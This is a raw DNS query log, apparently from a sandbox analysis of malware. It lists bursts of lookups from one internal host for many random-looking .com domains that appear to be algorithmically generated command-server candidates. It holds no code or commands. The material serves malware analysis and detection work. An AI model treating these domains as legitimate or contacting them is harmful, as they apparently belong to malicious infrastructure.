                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.086364031 CET192.168.2.41.1.1.10xffa2Standard query (0)qetytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.086584091 CET192.168.2.41.1.1.10xf9f5Standard query (0)vojybef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.086723089 CET192.168.2.41.1.1.10x6b97Standard query (0)gahyvab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.392503977 CET192.168.2.41.1.1.10x5023Standard query (0)gaqykoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.393604040 CET192.168.2.41.1.1.10x1b30Standard query (0)lyxynej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.400087118 CET192.168.2.41.1.1.10xaad4Standard query (0)pumyjip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.400594950 CET192.168.2.41.1.1.10xc437Standard query (0)qedytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.402879000 CET192.168.2.41.1.1.10xec99Standard query (0)puzybeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.403223038 CET192.168.2.41.1.1.10xdeadStandard query (0)volybak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.404568911 CET192.168.2.41.1.1.10x28b1Standard query (0)galyvaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.405097961 CET192.168.2.41.1.1.10x446eStandard query (0)qeqykop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.405693054 CET192.168.2.41.1.1.10x14b9Standard query (0)gadypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.405925035 CET192.168.2.41.1.1.10x136aStandard query (0)lymyjix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.406311035 CET192.168.2.41.1.1.10x6013Standard query (0)lysytyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.406415939 CET192.168.2.41.1.1.10xa7b8Standard query (0)vonyjuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.406784058 CET192.168.2.41.1.1.10x9adaStandard query (0)qekyvol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.406919956 CET192.168.2.41.1.1.10xe4feStandard query (0)puzydog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.407238007 CET192.168.2.41.1.1.10xe410Standard query (0)vofypuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.407747030 CET192.168.2.41.1.1.10xc736Standard query (0)qeqyqul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.410442114 CET192.168.2.41.1.1.10x428cStandard query (0)pufyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.410924911 CET192.168.2.41.1.1.10x2495Standard query (0)vofyzyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.411515951 CET192.168.2.41.1.1.10xe873Standard query (0)lyxyfan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.413696051 CET192.168.2.41.1.1.10x6b08Standard query (0)gaqyqiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.416026115 CET192.168.2.41.1.1.10x5da2Standard query (0)qexyfag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.419156075 CET192.168.2.41.1.1.10xcf4dStandard query (0)vowyqik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.421835899 CET192.168.2.41.1.1.10xb5e6Standard query (0)gacyfeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.426862955 CET192.168.2.41.1.1.10xa744Standard query (0)lygyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.430876017 CET192.168.2.41.1.1.10x3a30Standard query (0)vocygef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.434889078 CET192.168.2.41.1.1.10x708eStandard query (0)purywoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.435621023 CET192.168.2.41.1.1.10xd1a8Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.441970110 CET192.168.2.41.1.1.10xea46Standard query (0)lyvygyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.442142010 CET192.168.2.41.1.1.10x3d99Standard query (0)qebyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.442643881 CET192.168.2.41.1.1.10xfb65Standard query (0)pujycil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.584907055 CET192.168.2.41.1.1.10x2856Standard query (0)qegyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.585659027 CET192.168.2.41.1.1.10xb44fStandard query (0)pupyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.586057901 CET192.168.2.41.1.1.10x2199Standard query (0)lyrywoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.586842060 CET192.168.2.41.1.1.10x990cStandard query (0)vojycit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.627800941 CET192.168.2.41.1.1.10x3a9Standard query (0)puvygyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.645304918 CET192.168.2.41.1.1.10x66ddStandard query (0)qetyraq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.647449970 CET192.168.2.41.1.1.10x4295Standard query (0)gatyrah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.943531036 CET192.168.2.41.1.1.10x8c3bStandard query (0)lykyvor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:20.546881914 CET192.168.2.41.1.1.10x78f1Standard query (0)vopyrem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:20.549139023 CET192.168.2.41.1.1.10xcebbStandard query (0)ganyhus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.880546093 CET192.168.2.41.1.1.10x3aabStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.881483078 CET192.168.2.41.1.1.10xc668Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.881772995 CET192.168.2.41.1.1.10x3e72Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.881922007 CET192.168.2.41.1.1.10x7e2Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.882030010 CET192.168.2.41.1.1.10x9ebaStandard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.889657974 CET192.168.2.41.1.1.10xec83Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.890259027 CET192.168.2.41.1.1.10xa76eStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.891741037 CET192.168.2.41.1.1.10x51b4Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.891951084 CET192.168.2.41.1.1.10x2575Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.892237902 CET192.168.2.41.1.1.10xfa74Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.892592907 CET192.168.2.41.1.1.10xafefStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.892592907 CET192.168.2.41.1.1.10x4f52Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.893702984 CET192.168.2.41.1.1.10x8c2fStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.894221067 CET192.168.2.41.1.1.10x97c1Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.895967960 CET192.168.2.41.1.1.10x23a5Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.896190882 CET192.168.2.41.1.1.10x43beStandard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.900551081 CET192.168.2.41.1.1.10x3f31Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.900868893 CET192.168.2.41.1.1.10xe4e0Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.902220011 CET192.168.2.41.1.1.10x7687Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.904778004 CET192.168.2.41.1.1.10xc079Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.909748077 CET192.168.2.41.1.1.10xaf31Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.910213947 CET192.168.2.41.1.1.10x630eStandard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.910466909 CET192.168.2.41.1.1.10xc39dStandard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.910842896 CET192.168.2.41.1.1.10xa09fStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.911040068 CET192.168.2.41.1.1.10x439cStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.687172890 CET192.168.2.41.1.1.10x310fStandard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.692832947 CET192.168.2.41.1.1.10x6deaStandard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.721741915 CET192.168.2.41.1.1.10xcc90Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.722009897 CET192.168.2.41.1.1.10x7ff5Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.723736048 CET192.168.2.41.1.1.10xc6afStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.723907948 CET192.168.2.41.1.1.10xc30bStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.724319935 CET192.168.2.41.1.1.10xcca6Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.735840082 CET192.168.2.41.1.1.10xa93Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.736977100 CET192.168.2.41.1.1.10x293dStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.737200022 CET192.168.2.41.1.1.10x755cStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.737581015 CET192.168.2.41.1.1.10xaf75Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.737797022 CET192.168.2.41.1.1.10x9765Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.739511013 CET192.168.2.41.1.1.10xecaaStandard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.739594936 CET192.168.2.41.1.1.10xb9b1Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740089893 CET192.168.2.41.1.1.10xecdcStandard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740164995 CET192.168.2.41.1.1.10x34b2Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740786076 CET192.168.2.41.1.1.10x2ef5Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.740802050 CET192.168.2.41.1.1.10x281bStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.741317987 CET192.168.2.41.1.1.10x9189Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.741494894 CET192.168.2.41.1.1.10x5f6dStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.742317915 CET192.168.2.41.1.1.10x32bdStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.742954969 CET192.168.2.41.1.1.10xa8bbStandard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.743518114 CET192.168.2.41.1.1.10x62c9Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.743537903 CET192.168.2.41.1.1.10x8ea5Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.744076967 CET192.168.2.41.1.1.10x33b3Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.744579077 CET192.168.2.41.1.1.10x7944Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.745039940 CET192.168.2.41.1.1.10x22d8Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.745600939 CET192.168.2.41.1.1.10xa985Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.746110916 CET192.168.2.41.1.1.10x35c8Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.746673107 CET192.168.2.41.1.1.10x8f7dStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.751605988 CET192.168.2.41.1.1.10x77baStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.753787041 CET192.168.2.41.1.1.10x45feStandard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.754664898 CET192.168.2.41.1.1.10x7ef9Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.820930958 CET192.168.2.41.1.1.10xedd4Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.821984053 CET192.168.2.41.1.1.10x3059Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.822252035 CET192.168.2.41.1.1.10xd7a1Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.830280066 CET192.168.2.41.1.1.10x673dStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.830346107 CET192.168.2.41.1.1.10x4ab7Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.830496073 CET192.168.2.41.1.1.10xf7d1Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.830549002 CET192.168.2.41.1.1.10xa56fStandard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.830698013 CET192.168.2.41.1.1.10x8078Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.835217953 CET192.168.2.41.1.1.10x3d99Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.836075068 CET192.168.2.41.1.1.10x54f6Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.836261034 CET192.168.2.41.1.1.10x3845Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.837220907 CET192.168.2.41.1.1.10xe6b2Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.837405920 CET192.168.2.41.1.1.10x4c24Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.837666035 CET192.168.2.41.1.1.10xc6a5Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.837979078 CET192.168.2.41.1.1.10xcbbfStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.838525057 CET192.168.2.41.1.1.10x4b08Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.838718891 CET192.168.2.41.1.1.10x8e7aStandard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.838886976 CET192.168.2.41.1.1.10xbfe5Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:06.851217031 CET192.168.2.41.1.1.10x4684Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.007144928 CET192.168.2.41.1.1.10x5abcStandard query (0)gadydas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.009227037 CET192.168.2.41.1.1.10xefc4Standard query (0)vofydac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.009427071 CET192.168.2.41.1.1.10x68d4Standard query (0)qeqylyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.016724110 CET192.168.2.41.1.1.10x860bStandard query (0)lyxymin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.018004894 CET192.168.2.41.1.1.10xe6a4Standard query (0)vojygut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.019423008 CET192.168.2.41.1.1.10xeabfStandard query (0)lyryxij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.024252892 CET192.168.2.41.1.1.10x4d8Standard query (0)vocyqaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.030710936 CET192.168.2.41.1.1.10xd17fStandard query (0)qegyfyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.036421061 CET192.168.2.41.1.1.10xbdaStandard query (0)gahyfyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.037226915 CET192.168.2.41.1.1.10xf8ffStandard query (0)puryxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.038144112 CET192.168.2.41.1.1.10x6cdbStandard query (0)vowyzuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.040416956 CET192.168.2.41.1.1.10xbd8bStandard query (0)puvywav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.041572094 CET192.168.2.41.1.1.10x4e0cStandard query (0)qexyqog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.041841030 CET192.168.2.41.1.1.10x416bStandard query (0)lygyfex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.042427063 CET192.168.2.41.1.1.10xb068Standard query (0)pufydep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.042500973 CET192.168.2.41.1.1.10x1408Standard query (0)puzymig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.042913914 CET192.168.2.41.1.1.10xbac6Standard query (0)lymylyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.043171883 CET192.168.2.41.1.1.10x2648Standard query (0)qetyxiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.043699026 CET192.168.2.41.1.1.10x863bStandard query (0)gaqyzuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.044387102 CET192.168.2.41.1.1.10x8e4fStandard query (0)pujygul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.049141884 CET192.168.2.41.1.1.10xe949Standard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.051975965 CET192.168.2.41.1.1.10xc177Standard query (0)qegynuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.052615881 CET192.168.2.41.1.1.10x2ef0Standard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.057985067 CET192.168.2.41.1.1.10xedaaStandard query (0)lyvylyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.058640003 CET192.168.2.41.1.1.10x20d5Standard query (0)gacykeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.058926105 CET192.168.2.41.1.1.10x709fStandard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.059545994 CET192.168.2.41.1.1.10xad93Standard query (0)puzyjoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.059580088 CET192.168.2.41.1.1.10x2d73Standard query (0)lymytux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.061988115 CET192.168.2.41.1.1.10xdbaaStandard query (0)galyhiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.062764883 CET192.168.2.41.1.1.10x5f52Standard query (0)ganyrys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.066879034 CET192.168.2.41.1.1.10xe257Standard query (0)qedyveg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.068020105 CET192.168.2.41.1.1.10x8ee9Standard query (0)volyjok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.069860935 CET192.168.2.41.1.1.10xbb7bStandard query (0)vonyryc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.070396900 CET192.168.2.41.1.1.10xce25Standard query (0)qebyrev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.075887918 CET192.168.2.41.1.1.10xe361Standard query (0)pumytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.076172113 CET192.168.2.41.1.1.10x626aStandard query (0)gahynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.077332020 CET192.168.2.41.1.1.10x7514Standard query (0)vojymic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.077873945 CET192.168.2.41.1.1.10xf5b4Standard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.078602076 CET192.168.2.41.1.1.10xddc4Standard query (0)gadyveb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.079694986 CET192.168.2.41.1.1.10xccb5Standard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.080735922 CET192.168.2.41.1.1.10xf608Standard query (0)gatycoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.081067085 CET192.168.2.41.1.1.10x9aa1Standard query (0)gatydaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.081228971 CET192.168.2.41.1.1.10x7853Standard query (0)vofybyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.094598055 CET192.168.2.41.1.1.10x43c2Standard query (0)volymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.094911098 CET192.168.2.41.1.1.10x5dbcStandard query (0)purypol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095115900 CET192.168.2.41.1.1.10x1f5eStandard query (0)qekyhil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095179081 CET192.168.2.41.1.1.10x3549Standard query (0)qexykaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095285892 CET192.168.2.41.1.1.10x5fb4Standard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095339060 CET192.168.2.41.1.1.10xaadbStandard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095491886 CET192.168.2.41.1.1.10x9011Standard query (0)pufybyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095689058 CET192.168.2.41.1.1.10x51c7Standard query (0)lyxyjaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095777988 CET192.168.2.41.1.1.10xded5Standard query (0)gacyqob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095956087 CET192.168.2.41.1.1.10x8291Standard query (0)lykygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.095956087 CET192.168.2.41.1.1.10x657bStandard query (0)qeqytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.096172094 CET192.168.2.41.1.1.10x5f82Standard query (0)lysyvan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.096287966 CET192.168.2.41.1.1.10xafd5Standard query (0)lyrysor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.096503019 CET192.168.2.41.1.1.10x6908Standard query (0)vopycom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.101646900 CET192.168.2.41.1.1.10xd799Standard query (0)gaqypiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.101844072 CET192.168.2.41.1.1.10xf000Standard query (0)lyvywed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.110166073 CET192.168.2.41.1.1.10xf604Standard query (0)vowypit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.110918045 CET192.168.2.41.1.1.10xc6b7Standard query (0)ganyzub.comA (IP address)IN (0x0001)false
